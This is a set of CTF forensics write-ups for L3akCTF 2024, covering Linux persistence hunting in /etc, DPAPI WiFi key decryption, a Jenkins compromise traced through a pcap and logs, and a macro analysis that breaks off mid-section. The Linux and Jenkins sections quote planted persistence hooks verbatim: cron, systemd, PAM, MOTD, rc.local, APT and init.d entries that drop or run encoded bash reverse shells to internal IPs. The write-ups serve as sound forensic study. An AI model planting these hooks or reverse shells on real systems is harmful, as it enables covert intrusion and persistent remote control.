Post

L3akCTF 2024 - Writeups

This is a writeup for some forensics challenges from L3akCTF 2024. Not gonna lie, one of the best CTFs this year where there were many unique challenges to play. Shame I had little time to enjoy the CTF due to having a cybercamp right on the CTF day. I also won the writeup contest with a $25 prize!

HoldOnTight [Forensics]

Question: Hacking is all about persistence

Flag: L3AK{C4n7_570p_w0n7_570p_p3rs1s7}

We are given a Linux artifact to investigate, specifically the etc directory. The challenge also mentioned that we should be looking for 8 mini flags related to persistence in Linux systems to obtain the real flag. Here are some good references to understand the methods of Linux persistence:

  1. Linux - Persistence
  2. The Art Of Linux Persistence
  3. Hunting for Persistence in Linux
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ nc 35.229.44.203 3666
Welcome to the ultra-realistic Flag Finder Simulation!
A stealthy hacker has compromised this system and deployed 8 cunning persistence mechanisms.
Your mission, should you choose to accept it, involves the /etc directory, a known haven for configuration treachery.
Each mechanism is cleverly referencing /tmp/backdoor.sh – a nefarious script, no doubt.
Alongside each persistence mechanism, a flag is concealed. Secure all 8 to halt the hacker’s scheme.
Report back with each flag as you uncover them. Each mini flag has L3ak{} format.
Remember: After securing the 8 mini flags, the ultimate flag shall unveil itself.
Gear up, remain vigilant, and good luck!

Flags found: 0/8.

Submit a mini flag:

Flag 1

So the first thing to check was the cron jobs located in /etc/crontab. Inside it, the 1st flag can be obtained as L3ak{Cr0n5_50_C71ch3}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root /tm'p/b'ac'kd'oor.sh
#L'3a'k{Cr0n5'_50'_C71'ch3}'

Flag 2

Next, another common location for persistence was /etc/systemd/system which lists the services that trigger on boot time. A malicious service called backdoor.service was running a reverse shell called backdoor.sh (this will come in handy later). Inside it was the 2nd flag reversed as L3ak{53rv1c3_@nd_T1m3r}.

1
2
3
4
5
6
7
8
9
10
11
12
[Unit]
Description=Malware Service Example
After=network.target

[Service]
Type=simple
ExecStart=/tmp/backdoor.sh
Restart=on-failure
User=root #}r3m1T_dn@_3c1vr35{ka3L

[Install]
WantedBy=multi-user.target

With the name of the reverse shell, grepping it shows that it was utilized in other files.

1
2
3
└─$ grep -r "backdoor.sh" *
pam.d/sudo:session optional pam_exec.so /tmp/backdoor.sh
systemd/system/backdoor.service:ExecStart=/tmp/backdoor.sh

Flag 3

Checking out /etc/pam.d, the 3rd flag can be obtained as L3ak{5up3r_5h311_u53r}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#%PAM-1.0

# Set up user limits from /etc/security/limits.conf.
session    required   pam_limits.so

session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0

# CantStopWontStop
session optional pam_exec.so /tmp/backdoor.sh

#L#3#a#k#{#5#u#p#3#r#_#5#h#3#1#1#_#u#5#3#r#}
@include common-auth
@include common-account
@include common-session-noninteractive

Flag 4

Another persistence method was ‘Message of the Day backdooring’ located in /etc/update-motd.d/ being another common location for persistence. In the directory, a file called 00-header had the 4th flag encoded in hex L3ak{5h311_0f_7h3_D4y}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/sh
#
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release

if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
	# Fall back to using the very slow lsb_release utility
	DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi

printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

echo '2f746d702f6261636b646f6f722e73682026' | xxd -r -p | bash
# echo '4c33616b7b35683331315f30665f3768335f4434797d0a' | xxd -r -p

Flag 5

Reading the blogs, the /etc/rc.local was another potential location for persistence. Analyzing the file, it seems to be running a bash script that creates the backdoor.sh reverse shell. One of the script comments show the 5th flag encoded in base64 as L3ak{rc_l0c4l_0n_b00t}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

ENCODED_ArcaneGate_PATH="L3RtcC9iYWNrZG9vci5zaA=="
ArcaneGate_PATH=$(echo "$ENCODED_ArcaneGate_PATH" | base64 --decode)
ArcaneGate_BASE64='IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC42LzEyMzQgMD4mMQo='

# Check if the ArcaneGate script exists, if not, recreate it from the Base64 string
if [ ! -f "$ArcaneGate_PATH" ]; then
    echo "ArcaneGate script not found, recreating..."
    echo "$ArcaneGate_BASE64" | base64 --decode > "$ArcaneGate_PATH"
    chmod +x "$ArcaneGate_PATH"
fi

# The Specter that Steers Your Spirit
## In the shadowed alcoves of ancient libraries where the whispers of the past linger like morning fog,
## there lies a tome, bound not in leather but in the mysteries of the ether itself.
## The first chapter, "The Specter that Steers Your Spirit," reveals how one may
## summon and commune with the ghostly essences that drift through the veils of our world. 
## TDNha3tyY19sMGM0bF8wbl9iMDB0fQ==

# Execute the ArcaneGate script
"$ArcaneGate_PATH"

exit 0

Flag 6

The blogs mentioned ‘APT backdooring’, a persistence method which exploits the APT package manager located in /etc/apt/apt.conf.d/. Within the directory, a file called 100holdon had the 6th flag encoded in base64 L3ak{4p7_In57411_5h311}.

1
2
#TDNha3s0cDdfSW41NzQxMV81aDMxMX0=
DPKG::Post-Invoke {"file=$(echo 'YmFja2Rvb3Iuc2g='|base64 -d); echo 'IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC42LzEyMzQgMD4mMQo=' |base64 -d > /tmp/$file;chmod +x /tmp/$file;/tmp/$file";};

Flag 7

The blogs also mentioned /etc/init.d/ being a common location for persistence. In the directory, a script called stillhere.sh can be found which seems to be running some encrypted payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/bin/bash
### BEGIN INIT INFO
# Provides:          mysticportal
# Required-Start:    $network
# Required-Stop:     
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Starts mysticportal
### END INIT INFO

# Function to intreprt messege from the other side
decode_payload() {
    local ENCHANTED=$1
    local i=5
    local payload=""
    while [ $i -lt ${#ENCHANTED} ]; do
        payload="${payload}${ENCHANTED:$i:1}"
        i=$((i+6))
    done
    echo "$payload"
}

# ENCHANTED strings
ENCHANTED_PATH="MZolj/onNzUtGEMrLmZjjrgprmKwL/xcUclbzQqpeagLsHYcnBeuNkTWiLaduoxKGoLdmsRoNsrdDrjCksD.nFFiksEAYUQhOHsOK"
ENCHANTED_STRING="pfXya/kxqlGbKSPOdikkkUFneWGvk/ATUHObOIgGWaBKYZOsEXWVghZSygL nAIBf-UlMDeiMasOY hwnXE>pbkdm&CJjQK ZULrp/IwnjWdJkTMEePmysevNjfCB/JlMRvtNFdlKciUeGmpMJJxq/AEacj1ApwVV0vQaJr.qQhHU0hmDRa.ihgtX0tsiBd.kawOW6Ekxfl/XwTlz1bRFlJ2XiOHY3ujqyy4QrLBa sQwaF0EQcvD>LpYku&Fyakx1shVgW"

#sJddrLOwQzD3SwoKPavkMSxkXsAXn{CvzIEiaRxQCnkMjFZiSIjBAtkUwvbdPMZbW_udhQT2inbJn_VLZtRbJPTCm0gsJDF0yUiZi7paJvr5giIKI}DScGa

# Decode the ENCHANTED path and script
MYSTICPORTAL_PATH=$(decode_payload "$ENCHANTED_PATH")
MYSTICPORTAL_SCRIPT=$(decode_payload "$ENCHANTED_STRING")

start() {
    echo "Starting mysticportal service..."
    if [ ! -f "$MYSTICPORTAL_PATH" ]; then
        echo "MYSTICPORTAL script not found, recreating..."
        echo "$MYSTICPORTAL_SCRIPT" > "$MYSTICPORTAL_PATH"
        chmod +x "$MYSTICPORTAL_PATH"
    fi
    # Start the MYSTICPORTAL script or service
    "$MYSTICPORTAL_PATH"
}

stop() {
    echo "Stopping MYSTICPORTAL service..."
    # Code to stop the MYSTICPORTAL service
}

case "$1" in
    start)
        start
        ;;
    stop)
        stop
        ;;
    *)
        echo "Usage: /etc/init.d/MYSTICPORTAL {start|stop}"
        exit 1
        ;;
esac

exit 0

However, the decode function is literally on top of the script so we can just utilize the function to decrypt the payload and obtain the 7th flag L3ak{initd_2_b0075}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash

# Function to interpret message from the other side
decode_payload() {
    local ENCHANTED=$1
    local i=5
    local payload=""
    while [ $i -lt ${#ENCHANTED} ]; do
        payload="${payload}${ENCHANTED:$i:1}"
        i=$((i+6))
    done
    echo "$payload"
}

ENCRYPTED_STRING="sJddrLOwQzD3SwoKPavkMSxkXsAXn{CvzIEiaRxQCnkMjFZiSIjBAtkUwvbdPMZbW_udhQT2inbJn_VLZtRbJPTCm0gsJDF0yUiZi7paJvr5giIKI}DScGa"
DECRYPTED_STRING=$(decode_payload "$ENCRYPTED_STRING")

echo "Decrypted String: $DECRYPTED_STRING"

Flag 8

Running out of ideas, I did a gamer move and grepped the hex values of L3ak to find some easy hits. Guess what, it worked and the 8th flag can be found at /etc/logrotate.d/rsyslog/.

1
2
3
└─$ grep -r "4c33616b" *   
logrotate.d/rsyslog:                # Regular maintenance script version 4c33616b7b3130675f376834375f35683331317d
update-motd.d/00-header:# echo '4c33616b7b35683331315f30665f3768335f4434797d0a' | xxd -r -p

In the rsyslog file, the 8th flag can be found encoded in hex L3ak{10g_7h47_5h311}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/var/log/syslog
/var/log/mail.info
/var/log/mail.warn
/var/log/mail.err
/var/log/mail.log
/var/log/daemon.log
/var/log/kern.log
/var/log/auth.log
/var/log/user.log
/var/log/lpr.log
/var/log/cron.log
/var/log/debug
/var/log/messages
{
	rotate 4
	weekly
	missingok
	notifempty
	compress
	delaycompress
	sharedscripts
	postrotate
		/usr/lib/rsyslog/rsyslog-rotate
                # Regular maintenance script version 4c33616b7b3130675f376834375f35683331317d
                $(echo -n '2f746d702f6261636b646f6f722e7368' | xxd -r -p)
	endscript
}

Final flag

With all the mini flags, the real flag can be obtained.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
└─$ nc 35.229.44.203 3666
Welcome to the ultra-realistic Flag Finder Simulation!
A stealthy hacker has compromised this system and deployed 8 cunning persistence mechanisms.
Your mission, should you choose to accept it, involves the /etc directory, a known haven for configuration treachery.
Each mechanism is cleverly referencing /tmp/backdoor.sh – a nefarious script, no doubt.
Alongside each persistence mechanism, a flag is concealed. Secure all 8 to halt the hacker’s scheme.
Report back with each flag as you uncover them. Each mini flag has L3ak{} format.
Remember: After securing the 8 mini flags, the ultimate flag shall unveil itself.
Gear up, remain vigilant, and good luck!

Flags found: 0/8.

Submit a mini flag: 
L3ak{10g_7h47_5h311}  
Correct! Mini flag accepted.

Flags found: 1/8.

You have found: L3ak{10g_7h47_5h311}
Submit a mini flag: 
L3ak{5h311_0f_7h3_D4y}
Correct! Mini flag accepted.

Flags found: 2/8.

You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y}
Submit a mini flag: 
L3ak{5up3r_5h311_u53r}
Correct! Mini flag accepted.

Flags found: 3/8.

You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r}
Submit a mini flag: 
L3ak{53rv1c3_@nd_T1m3r}
Correct! Mini flag accepted.

Flags found: 4/8.

You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r} L3ak{53rv1c3_@nd_T1m3r}
Submit a mini flag: 
L3ak{rc_l0c4l_0n_b00t}
Correct! Mini flag accepted.

Flags found: 5/8.

You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r} L3ak{53rv1c3_@nd_T1m3r} L3ak{rc_l0c4l_0n_b00t}
Submit a mini flag: 
L3ak{Cr0n5_50_C71ch3} 
Correct! Mini flag accepted.

Flags found: 6/8.

You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r} L3ak{53rv1c3_@nd_T1m3r} L3ak{rc_l0c4l_0n_b00t} L3ak{Cr0n5_50_C71ch3}
Submit a mini flag: 
L3ak{4p7_In57411_5h311} 
Correct! Mini flag accepted.

Flags found: 7/8.

You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r} L3ak{53rv1c3_@nd_T1m3r} L3ak{rc_l0c4l_0n_b00t} L3ak{Cr0n5_50_C71ch3} L3ak{4p7_In57411_5h311}
Submit a mini flag: 
L3ak{initd_2_b0075}
Correct! Mini flag accepted.

Congratulations, you've done it. Here is your flag: L3AK{C4n7_570p_w0n7_570p_p3rs1s7}

Do It Dynamically [Forensics]

Question: Dynamic FOR THE WIN!

Flag: L3AK{L34rN_2_L1573N_2_6H0575}

We are given a suspicious program to investigate. This challenge was solved by my rev teammate so the method was obviously gonna be unintended as it revolves around decompiling and debugging. The intended method was already shown by the author himself here.

Analyzing the program on IDA, a suspiciously named function can be found that contains some decoding.

do3

In x64dbg, we can go to the Entry Point and start from there.

do1

Then, we can of the Entry Point using the address of the suspicious function 50563B1E29385221

do2

do4

do8

Double clicking the constant, it will lead us to the function for further debugging. Scrolling up, notice the push rbp. Set a new origin (RIP) here and place a breakpoint on the call my_cursed_executable.7FF70F681596.

do5

Running the program, it should stop at the breakpoint. Then, right click on the value of RDX to follow it in dump.

do6

Finally, just Step Over and the flag should be in the dump.

do7

AiR [Forensics]

Question: Could you help me analyze and find out the WiFi password this person connected to is?

Flag: L3AK{BL0b_D3crypt1n9_1s_n0_n3w_t0_u_r1ght?}

We are given a Windows drive to investigate. Researching online about WiFi passwords stored in a Windows system, I stumbled upon this post that mentioned WiFi information being stored under C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces[Interface Guid]. Checking the folder, the password can be found in a XML file. However, the password (keyMaterial) seems to be encrypted.

air1

Researching online about it, I stumbled upon this post that mentioned about passwords in Windows being encrypted and decrypted using Data Protection API (DPAPI). At this point, I was stuck and had not enough time to solve it before the CTF ended, but I attempted it right after nonetheless. Reading more about DPAPI, I stumbled upon this blog that goes very in-depth in explaining DPAPI, so I will not explain much about it. But basically, a User master key is created and encrypted with user’s password, and it is stored in %APPDATA%/Microsoft/Protect/ while System’s master keys are stored in %WINDIR%/System32/Microsoft/Protect and used for decrypting DPAPI blobs, protected under a local system account. All the DPAPI blobs created with the CRYPTPROTECT_LOCAL_MACHINE flag set in the CryptProtectData function are protected with the System’s master keys.

air4

Hence, by using Nirsoft DataProtectionDecryptor, we can decrypt any DPAPI data stored on external drive by taking the DPAPI blobs in Protect and the specific registry hives (SYSTEM and SECURITY). Why SYSTEM and SECURITY hives? Since System master keys are not protected by any user passwords, it is secured by the DPAPI_SYSTEM LSA Secret which is stored in the registry under HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. This secret is encrypted using the LsaKey derived from the BootKey (or SysKey) which is stored in the Windows SYSTEM registry hive. Shoutout to the author @Nex0 for explaining this part.

air2

After setting the appropriate configurations and paths for the tool, the flag can be obtained.

air3

Impostor [Forensics]

Question: We have detected some anomalies in the network traffic. It’s very likely that this is the result of an attack that we are unaware of. Could you help us investigate what happened? If this is indeed an attack, what has the attacker obtained?

Flag: L3AK{J3nk1n$_1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926}

We are given a auth.log file and pcap file to investigate. Analyzing the pcap, the TCP streams show the attacker performing an RCE attack using jenkins-cli. Researching more about this, I stumbled upon this blog that mentioned something about a vulnerability that exploits the @ character. Near the first tcp stream shows several WebSocket packets being sent across, this protocol basically just allows bidirectional, streaming communication over an HTTP(S) port.

jenkins1

Analyzing the WebSocket streams, we can see the attacker enumerating important files like /etc/passwd, /var/lib/jenkins/secrets/master.key and /var/lib/jenkins/credentials.xml. The last stream shows a part of the flag as 1s_0n_3dg.

jenkins2

Ok now to investigate the auth.log file which contains logs on user logins and authentication mechanisms. The starting logs show brute force attempts on a Jenkins account with the username sparkle.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
---SNIP---

May 17 13:09:01 kali CRON[7274]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
May 17 13:09:01 kali CRON[7274]: pam_unix(cron:session): session closed for user root
May 17 13:09:40 kali sshd[7473]: Received disconnect from 192.168.222.151 port 41630:11: Bye Bye [preauth]
May 17 13:09:40 kali sshd[7473]: Disconnected from authenticating user sparkle 192.168.222.151 port 41630 [preauth]
May 17 13:09:40 kali sshd[7480]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.222.151  user=sparkle
May 17 13:09:40 kali sshd[7482]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.222.151  user=sparkle
May 17 13:09:40 kali sshd[7479]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.222.151  user=sparkle
May 17 13:09:40 kali sshd[7481]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.222.151  user=sparkle
May 17 13:09:43 kali sshd[7480]: Failed password for sparkle from 192.168.222.151 port 41632 ssh2
May 17 13:09:43 kali sshd[7482]: Failed password for sparkle from 192.168.222.151 port 41642 ssh2
May 17 13:09:43 kali sshd[7479]: Failed password for sparkle from 192.168.222.151 port 41636 ssh2
May 17 13:09:43 kali sshd[7481]: Failed password for sparkle from 192.168.222.151 port 41634 ssh2
May 17 13:09:46 kali sshd[7482]: Failed password for sparkle from 192.168.222.151 port 41642 ssh2
May 17 13:09:46 kali sshd[7481]: Failed password for sparkle from 192.168.222.151 port 41634 ssh2
May 17 13:09:46 kali sshd[7480]: Failed password for sparkle from 192.168.222.151 port 41632 ssh2
May 17 13:09:46 kali sshd[7479]: Failed password for sparkle from 192.168.222.151 port 41636 ssh2
May 17 13:09:49 kali sshd[7481]: Failed password for sparkle from 192.168.222.151 port 41634 ssh2
May 17 13:09:49 kali sshd[7482]: Failed password for sparkle from 192.168.222.151 port 41642 ssh2

---SNIP---

However, near the end of the logs show that the attacker gaining access to the Jenkins account and has downloaded malicious files to the system using jenkins-cli. Additionally, it seems that the attacker encoded the /var/lib/jenkins/secrets/hudson.util.Secret file in base64. This information might come in useful later so take note of it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
---SNIP---

May 17 13:18:29 kali sshd[9756]: Accepted password for sparkle from 192.168.222.151 port 41724 ssh2
May 17 13:18:29 kali sshd[9756]: pam_unix(sshd:session): session opened for user sparkle(uid=1001) by (uid=0)
May 17 13:18:29 kali systemd-logind[528]: New session 12 of user sparkle.
May 17 13:18:29 kali systemd: pam_unix(systemd-user:session): session opened for user sparkle(uid=1001) by (uid=0)
May 17 13:19:01 kali sudo:  sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/base64 /var/lib/jenkins/secrets/hudson.util.Secret
May 17 13:19:01 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:19:01 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:19:52 kali sudo:  sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/cat b64hudsonSecret
May 17 13:19:52 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:19:52 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:22:09 kali sudo:  sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/curl http://192.168.222.151:2212/data.bin --output data.bin
May 17 13:22:09 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:22:09 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:23:02 kali sudo:  sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/base58 -d data.bin
May 17 13:23:02 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:23:02 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:23:14 kali sudo:  sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/sed -i -e s/\r$// pers.sh
May 17 13:23:14 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:23:14 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:23:34 kali sudo:  sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/chmod +x pers.sh
May 17 13:23:34 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:23:34 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:23:44 kali sudo:  sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=./pers.sh
May 17 13:23:44 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:23:44 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:24:10 kali sshd[9798]: Received disconnect from 192.168.222.151 port 41724:11: disconnected by user
May 17 13:24:10 kali sshd[9798]: Disconnected from user sparkle 192.168.222.151 port 41724

---SNIP---

Going back to the pcap, the malicious file data.bin can be extracted via HTTP objects.

jenkins3

The data.bin file shows a base58 encoded string. Decoding it shows a cron job where the job name was another part of the flag encoded in base64 E_30d84d801b2947f1bd2faae4fdcbb926}.

1
2
3
4
5
6
└─$ echo "QMSKuQ1jyJEwJYVQPQNGfTdsjT1dbfPBxU1kCuYTwUZC552VDJdFC3NNY6cy5hEm1hAEQn31sJH6VRtknUWjTMyRT5Q4swp71q6QfLX3wCLrgfiDYXGeim49bUpgbSdDfc2EZbgBhBeL8tC2GrPogAAVN1BQ14pEVDm7TzsFNUqvLjLk7M6vY9UsemS1m4AzVshZCSs6sY31f5UCkYC6BbvWUrqFeab5m5DCxZFroHHuCKu6yQQA4BJeASiicfoktdUWHtQeszxuQi6HXBQGytZ5mtGSbbhn2UZngWENU6ESZVLrG3siwz3uFCQw71H78Q29YXgqZb6sv4uDhS95YV3ae8DKLMwrm5c9wWuhM24" | base58 -d
#!/bin/bash
job_name="RV8zMGQ4NGQ4MDFiMjk0N2YxYmQyZmFhZTRmZGNiYjkyNn0="
script_path="/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.222.151/1337 0>&1'"
cron_schedule="0 5 * * *"
(crontab -l 2>/dev/null; echo "$cron_schedule $script_path # $job_name") | crontab -

Finding the last part of the flag was tough, but going through the TCP and WebSocket streams again, I noticed the credential.xml file stores the encrypted user password that might be the flag.

jenkins5

Doing research on cracking Jenkins passwords, I found this tool that helps decrypt any Jenkins password as long as a master key and hudson.util.Secret is supplied. Funnily enough, the master key can be easily obtained in a WebSocket stream as the attacker already enumerated for it.

jenkins6

The base64 encoded hudson.util.Secret file can also be obtained at TCP stream 55. Remember to decode and redownload the new hudson.util.Secret file.

jenkins4

jenkins7

Finally, the password was succesfully decrypted and the final part of the flag can be obtained as L3AK{J3nk1n$_.

1
2
3
4
5
└─$ python invoke.py --master-key ../sharedfolder/master.key --hudson-secret-key ../sharedfolder/hudson.util.Secret  --action decrypt "{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}"
TDNBS3tKM25rMW4kXw==

└─$ echo "TDNBS3tKM25rMW4kXw==" | base64 -d                                                        
L3AK{J3nk1n$_

The Spy [Forensics]

Question: During our educational course, one of our students found leaked data, but he does not know how it happened. Are you able to recover what was stolen?

Flag: L3AK{D1sc0rd_WebH00ks_4re_C001}

We are given a memory dump to investigate. Reading the scenario, it seems that certain data or files were leaked by a student. Analyzing the proces tree, a suspicious process can be found near the end of the list.

1
2
3
4
5
6
└─$ python3 vol.py -f ~/Desktop/sharedfolder/L3akCTF/The\ Spy/memdump.mem -o ~/Desktop windows.pstree

---SNIP---

* 2408  836     soffice.exe     0x8476ad40      1       23      1       False   2024-05-16 07:06:30.000000      N/A     \Device\HarddiskVolume2\Program Files\LibreOffice\program\soffice.exe    "C:\Program Files\LibreOffice\program\soffice.exe"      C:\Program Files\LibreOffice\program\soffice.exe
** 3516 2408    soffice.bin     0x8540c748      29      692     1       False   2024-05-16 07:06:32.000000      N/A     \Device\HarddiskVolume2\Program Files\LibreOffice\program\soffice.bin    "C:\Program Files\LibreOffice\program\soffice.exe" "-env:OOO_CWD=2C:\\Program Files\\LibreOffice"       C:\Program Files\LibreOffice\program\soffice.bin

The process seems to be related to LibreOffice. So by filtering for .doc and .docx files when performing filescan, a suspicious doc file can be obtained.

1
2
3
└─$ python3 vol.py -f ~/Desktop/sharedfolder/L3akCTF/The\ Spy/memdump.mem -o ~/Desktop windows.filescan | grep -E '\.doc'   
0x7f84e8a8 100.0\Users\Abdelrhman\Downloads\Cyber Security and Computer Forensics BSc(Hons) 2021-22.doc 128
0x7fd18ef0      \Users\Abdelrhman\Downloads\Cyber Security and Computer Forensics BSc(Hons) 2021-22.doc 128

Bingo! Now to dump the malicious file and analyze it. Since it is a doc file, I suspect that it might be related to Macros. Using oledump, a malicious macro can be obtained.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\Users\warlocksmurf\Desktop\oledump> python .\oledump.py 'C:\Users\warlocksmurf\Documents\L3akCTF\The Spy\file.0x7fd18ef0.0x848906b0.DataSectionObject.Cyber Security and Computer Forensics BSc(Hons) 2021-22.doc.dat'
C:\Users\warlocksmurf\Desktop\oledump\oledump.py:186: SyntaxWarning: invalid escape sequence '\D'
  manual = '''
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:     65288 '1Table'
  5:    751355 'Data'
  6:       412 'Macros/PROJECT'
  7:        71 'Macros/PROJECTwm'
  8: M    5468 'Macros/VBA/NewMacros'
  9: m     938 'Macros/VBA/ThisDocument'
 10:      3105 'Macros/VBA/_VBA_PROJECT'
 11:       573 'Macros/VBA/dir'
 12:       219 'MsoDataStore/CQ1ÝÕÅFÈÌÔÎÍP1ÃTØÙRCJQ==/Item'
 13:       335 'MsoDataStore/CQ1ÝÕÅFÈÌÔÎÍP1ÃTØÙRCJQ==/Properties'
 14:       128 'MsoDataStore/ÅÂB5ÅÞßÛÃEOÐLDÁÑIÖAYÈQ==/Item'
 15:       339 'MsoDataStore/ÅÂB5ÅÞßÛÃEOÐLDÁÑIÖAYÈQ==/Properties'
 16:     10833 'MsoDataStore/ÈÎDJCÙßÚIUÎDÉÐÇÑÒJJØÃQ==/Item'
 17:      1149 'MsoDataStore/ÈÎDJCÙßÚIUÎDÉÐÇÑÒJJØÃQ==/Properties'
 18:      1681 'MsoDataStore/ÝÁÐÑÒÖÍ5RÄÆOEIOËÞQPÂGQ==/Item'
 19:       321 'MsoDataStore/ÝÁÐÑÒÖÍ5RÄÆOEIOËÞQPÂGQ==/Properties'
 20:    152437 'WordDocument'

Thankfully, the macro was easy to understand. It seems that it was downloading and running a Python script called pp.py from a remote server in the specified path.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
